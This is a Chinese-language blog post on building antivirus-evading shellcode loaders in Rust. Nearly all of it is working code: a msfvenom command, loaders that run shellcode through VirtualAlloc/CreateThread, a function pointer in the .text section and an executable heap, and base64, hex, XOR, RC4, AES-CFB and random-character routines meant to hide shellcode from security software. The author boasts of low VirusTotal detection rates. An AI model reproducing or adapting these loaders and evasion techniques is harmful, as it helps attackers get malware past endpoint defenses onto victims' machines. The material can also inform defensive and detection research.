前言

这是半年前我学习Rust和免杀时的一些记录，最近打开知识库看到了这篇半年前的笔记，并且发现我常逛的安全社区都比较少有人分享Rust以及Rust免杀的帖子，于是想着将这篇笔记分享出来供大家参考和指正。由于我写这篇文章时也刚刚开始接触Rust，所以文中所涉及的知识和代码都有可能出现错误，所以再次说明这篇文章仅供参考并希望大家指正。

Shellcode加载方式

本文的主要目的是分享Rust对shellcode的加密混淆方式，所以对于shellcode加载只介绍两种基本的方式，可能在后续的文章中会对加载方式进行更多分享。

调用WinAPI

跟其他语言的shellcode加载器一样，要实现更多的shellcode加载方式，需要调用WinAPI。
执行shellcode的一般流程：

```
1. 创建或获取一段可读写执行的内存空间
2. 将shellcode移入这块内存空间
3. 利用各种方式将程序执行的流程指向这块内存空间
```

Rust调用WinAPI需要先引入依赖，`Cargo`是Rust的一个包管理工具，要引入`winapi`依赖需要在`Cargo.toml`添加：

```
winapi = {version="0.3.9",features=
["winuser","processthreadsapi","memoryapi","errhandlingapi","synchapi"]}
```

这里以加载msf生成的弹计算器的shellcode为例，先使用`msfvenom`生成一段raw格式的shellcode，保存到`calc.bin`文件中，并复制到Rust的项目目录下。

```
msfvenom -p windows/x64/exec cmd=calc.exe -f raw -o calc.bin
```

在Rust中，可以使用`include_bytes!`宏将静态文件在编译时包含进程序中。
下面通过调用`VirtualAlloc`申请一段内存，并设置为`PAGE_EXECUTE_READWRITE`权限，具体参数建议查阅微软WinAPI文档。然后通过`std::ptr::copy`将shellcode移动到内存中，接着通过`CreateThread`创建线程，`WaitForSingleObject`等待线程结束。
参考：VirtualAlloc function, CreateThread function, WaitForSingleObject function

```
use std::mem::transmute;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::memoryapi::VirtualAlloc;
use winapi::um::processthreadsapi::CreateThread;
use winapi::um::synchapi::WaitForSingleObject;

fn main() {
    let buffer = include_bytes!("..\\calc.bin");

    unsafe {
        let ptr = VirtualAlloc(std::ptr::null_mut(), buffer.len(), 0x00001000,
0x40);
```

```
        if GetLastError() == 0 {
            std::ptr::copy(buffer.as_ptr() as *const u8, ptr as *mut u8,
buffer.len());

            let mut threadid = 0;
            let threadhandle = CreateThread(
                std::ptr::null_mut(),
                0,
                Some(transmute(ptr)),
                std::ptr::null_mut(),
                0,
                &mut threadid,
            );

            WaitForSingleObject(threadhandle, 0xFFFFFFFF);
        } else {
            println!("执行失败：{}", GetLastError());
        }
    }
}
```

函数指针

`link_section`是Rust的一个attribute，它用来将特定的函数或者变量放到程序的指定的区块中，`.text`区块通常用来存储程序的执行代码，它会被加载到内存中并由处理器执行。
然后通过`std::mem::transmute`将`*const u8`类型的指针转换为函数类型`fn()`，最后执行shellcode。

```
fn main() {
    const BUFFER_BYTES:&[u8] = include_bytes!("..\\calc.bin");
    const BUFFER_SIZE:usize = BUFFER_BYTES.len();

    #[link_section = ".text"]
    static BUFFER:[u8;BUFFER_SIZE] = *include_bytes!("..\\calc.bin");
    unsafe{
        let exec = std::mem::transmute::<*const u8,fn()>(&BUFFER as *const u8);
        exec();
    }
}
```

通过 heapapi 申请内存

由于`VirtualAlloc`是各大杀软的重点监控对象，所以通常需要使用其他的API来替代，下面介绍的是另一个常见的内存申请方式，即通过`HeapCreate/HeapAlloc`的组合来创建内存空间。
参考：HeapCreate function, HeapAlloc function

该方式同样需要先引入依赖，在`Cargo.toml`文件中添加如下依赖：

```
[dependencies]
winapi = {version="0.3.9",features=["winuser","heapapi","errhandlingapi"]}
```

该方法通过`HeapCreate`创建`HEAP_CREATE_ENABLE_EXECUTE`权限的内存堆，然后通过`HeapAlloc`来从堆中分配内存空间，最后通过函数指针的方式执行shellcode。

```
use std::mem::transmute;
use winapi::ctypes::c_void;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::heapapi::HeapAlloc;
use winapi::um::heapapi::HeapCreate;

fn main() {
    let buffer = include_bytes!("..\\calc.bin");

    unsafe {
        let heap = HeapCreate(0x40000, 0, 0);
        let ptr = HeapAlloc(heap, 8, buffer.len());

        if GetLastError() == 0 {
            std::ptr::copy(buffer.as_ptr() as *const u8, ptr as *mut u8,
buffer.len());
            let exec = transmute::<*mut c_void, fn()>(ptr);
            exec();
        }
    }
}
```

Shellcode混淆方式

上面介绍了在Rust中为shellcode申请内存空间和执行shellcode的几种常见的方式，接下来会介绍几种常见的编码和加密混淆方式在Rust中的实现。在实际的shellcode免杀的时候经常需要结合几种混淆方式，或者是自己设计加密混淆方式。

Base64编码

在Rust中实现base64编码同样需要引入依赖，在`Cargo.toml`文件中添加如下依赖：

```
[dependencies]
base64 = "0.20.0"
```

通过下面的代码即可将传入的切片类型的shellcode进行base64编码并返回一段字符串。

```
fn b64_enc(shellcode: &[u8]) -> String {
    base64::encode(shellcode)
}
```

通过以下代码即可将得到的字符串解码，并返回Vec数组类型的shellcode。

```
fn b64_dec(shellcode:String) -> Vec<u8> {
    base64::decode(shellcode).expect("Error")
}
```

Hex编码

在Rust中实现Hex编码同样需要引入依赖，在`Cargo.toml`文件中添加如下依赖：

```
[dependencies]
hex = "0.4.3"
```

通过下面的代码即可将传入的切片类型的shellcode进行Hex编码并返回一段字符串。

```
fn hex_enc(shellcode: &[u8]) -> String {
    hex::encode(shellcode)
}
```

通过以下代码即可将得到的字符串解码，并返回Vec数组类型的shellcode。

```
fn hex_dec(shellcode:String) -> Vec<u8> {
    hex::decode(shellcode).expect("Error")
}
```

异或加密

通过迭代器将shellcode与key逐个字符进行异或，然后进行base64编码返回一段字符串。

要进行解密，需要先进行base64解码，然后将异或加密后的shellcode再次与key进行逐个字符进行异或，即可还原shellcode。

```
fn xor_encrypt(shellcode: &[u8], key: &[u8]) -> String {
    let mut encrypted = Vec::new();
    for (i, &b) in shellcode.iter().enumerate() {
        encrypted.push(b ^ key[i % key.len()]);
    }
    base64::encode(&encrypted)
}

fn xor_decrypt(encrypted: &[u8], key: &[u8]) -> Vec<u8> {
    let encrypted = base64::decode(encrypted).expect("msg");
    let mut decrypted = Vec::new();
    for (i, &b) in encrypted.iter().enumerate() {
        decrypted.push(b ^ key[i % key.len()]);
    }
    decrypted
}
```

RC4加密

Rust要实现RC4加密与加密需要引入依赖，在`Cargo.toml`文件中添加下面的依赖。

```
[dependencies]
rust-crypto="0.2.36"
base64="0.13.0"
rustc-serialize = "0.3"
```

下面是实现RC4加解密的代码，在加密的函数中最终返回的是Base64编码后的字符串，而解密函数最终返回的是Vec数组，这是为了方便在shellcode loader中读取加密后的shellcode以及加载解密后的shellcode。

```
use crypto::rc4::Rc4;
use crypto::symmetriccipher::SynchronousStreamCipher;
use std::iter::repeat;

fn main() {
    let buffer = include_bytes!("..\\calc.bin").as_slice();
    let key = "pRNtb343heAlnPFw5QiPHKxz3Z1dzLsqhiUyBNtTiI21DjUsZO";

    let b64_string = enc(buffer, key);
    let shellcode = dec(b64_string.as_str(), key);

    println!("== RC4 ==");
    println!("Key: {}", key);
    println!("\nEncrypted (Base-64): {}", b64_string);
    println!("\nDecrypted: {:?}", shellcode);
}

fn enc(shellcode: &[u8], key: &str) -> String {
    let mut rc4 = Rc4::new(key.as_bytes());

    let mut result: Vec<u8> = repeat(0).take(shellcode.len()).collect();
    rc4.process(shellcode, &mut result);

    base64::encode(&mut result)
}

fn dec(b64: &str, key: &str) -> Vec<u8> {
    let mut result = match base64::decode(b64) {
        Ok(result) => result,
        _ => "".as_bytes().to_vec(),
    };

    let mut rc4 = Rc4::new(key.as_bytes());

    let mut shellcode: Vec<u8> = repeat(0).take(result.len()).collect();
    rc4.process(&mut result[..], &mut shellcode);

    shellcode
}
```

AES-CFB加密

Rust要实现AES加密与加密也需要引入依赖，在`Cargo.toml`文件中添加下面的依赖。

```
[dependencies]
aes="0.7.5"
hex="0.4.3"
block-modes="0.8.1"
hex-literal="0.3.3"
```

下面是实现AES-CFB加解密的代码，在加密的函数中最终返回的是Hex编码后的字符串，而解密函数最终返回的是Vec数组，同样是为了方便在shellcode loader中读取加密后的shellcode以及加载解密后的shellcode。

```
use aes::Aes128;
use block_modes::block_padding::Pkcs7;
use block_modes::{BlockMode, Cfb};
use hex::encode;
use hex_literal::hex;

type Aes128ECfb = Cfb<Aes128, Pkcs7>;

fn main() {
    let shellcode = include_bytes!("..\\calc.bin").as_slice();
    let key = "gWW8QklFyVIQfpDN";
    let iv = hex!("57504c385a78736f336b4946426a626f");

    println!("==128-bit AES CFB Mode==");
    println!("Key: {}", key);
    println!("iv: {}", encode(iv));

    let encrypted = enc(shellcode, key, iv);
    println!("\nEncrypted: {}", encrypted);

    let decrypted = dec(encrypted.as_str(), key, iv);
    println!("\nDecrypted: {:?}", decrypted);
}

fn enc(shellcode: &[u8], key: &str, iv: [u8; 16]) -> String {
    let key = key.as_bytes().to_vec();

    let cipher = Aes128ECfb::new_from_slices(key.as_slice(),
iv.as_slice()).unwrap();

    let pos = shellcode.len();
    let mut buffer = [0u8; 2560];
    buffer[..pos].copy_from_slice(shellcode);

    let ciphertext = cipher.encrypt(&mut buffer, pos).unwrap();

    hex::encode(ciphertext)
}

fn dec(encrypted: &str, key: &str, iv: [u8; 16]) -> Vec<u8> {
    let binding = hex::decode(encrypted).expect("Decoding failed");
    let ciphertext = binding.as_slice();

    let key = key.as_bytes().to_vec();

    let cipher = Aes128ECfb::new_from_slices(key.as_slice(),
iv.as_slice()).unwrap();

    let mut buf = ciphertext.to_vec();
    let shellcode = cipher.decrypt(&mut buf).unwrap();
```

```
    shellcode.to_vec()
}
```

添加随机字符

同样先在`Cargo.toml`文件中添加下面的依赖。

```
[dependencies]
hex = "0.4.3"
```

下面是结合异或加密和添加随机字符的代码，`xor_encrypt`将对shellcode与key进行异或，使用`hex::encode`将异或结果转为十六进制字符串返回，方便后面添加随机字符。`add_random`迭代`xor_encrypt`返回的字符串的每个字符，并在每次迭代时添加一个随机字符。最后，使用`hex::encode`将结果转为十六进制字符串返回。`xor_decrypt`和`rm_random`是对应的二次异或和删除随机字符的函数。

```
fn xor_encrypt(shellcode: &[u8], key: &[u8]) -> String {
    let mut encrypted = Vec::new();
    for (i, &b) in shellcode.iter().enumerate() {
        encrypted.push(b ^ key[i % key.len()]);
    }
    hex::encode(&encrypted)
}

fn xor_decrypt(encrypted: &[u8], key: &[u8]) -> Vec<u8> {
    let encrypted = hex::decode(encrypted).expect("Error");

    let mut decrypted = Vec::new();
    for (i, &b) in encrypted.iter().enumerate() {
        decrypted.push(b ^ key[i % key.len()]);
    }
    decrypted
}

fn add_random(xor_string: &str, key: &str) -> String {
    let mut result = String::new();

    for (i, c) in xor_string.chars().enumerate() {
        result.push(c);
        result.push(key.chars().nth(i % key.len()).unwrap());
    }
    hex::encode(&result)
}

fn rm_random(random_string: &str) -> Vec<u8> {
    let mut result = String::new();

    let random_string = hex::decode(random_string).expect("Invalid String");
    let random_string = match std::str::from_utf8(random_string.as_slice()) {
        Ok(s) => s,
        Err(_) => "Invalid UTF-8 sequence",
    };

    for (i, c) in random_string.chars().enumerate() {
```

```
        if i % 2 == 0 {
            result.push(c);
        }
    }
    result.as_bytes().to_vec()
}
```

总结

Rust的编译体积是非常小的，虽然比不上C/C++，但是和Python和Go相比优势还是非常大的，并且Rust的热门程度也远小于Python和Go，所以杀软对Rust的检出程度也是非常低的，这都是Rust免杀的天然优势。结合本文章几种基础的加载方式和混淆方式还是可以轻松过一部分杀软的。以下链接是我半年前上传到virustotal的一个样本，半年过去了，目前的检出率为14/71：VirusTotal File（刚上传时检出率为0/71）。

这篇文章的代码部分我也已经提交到Github供大家参考：

AV-Bypass-Learning/rust-bypass-av

参考

Rust 参考手册 中文版

Programming reference for the Win32 API

include_bytes in std - Rust

Application Binary Interface - The Rust Reference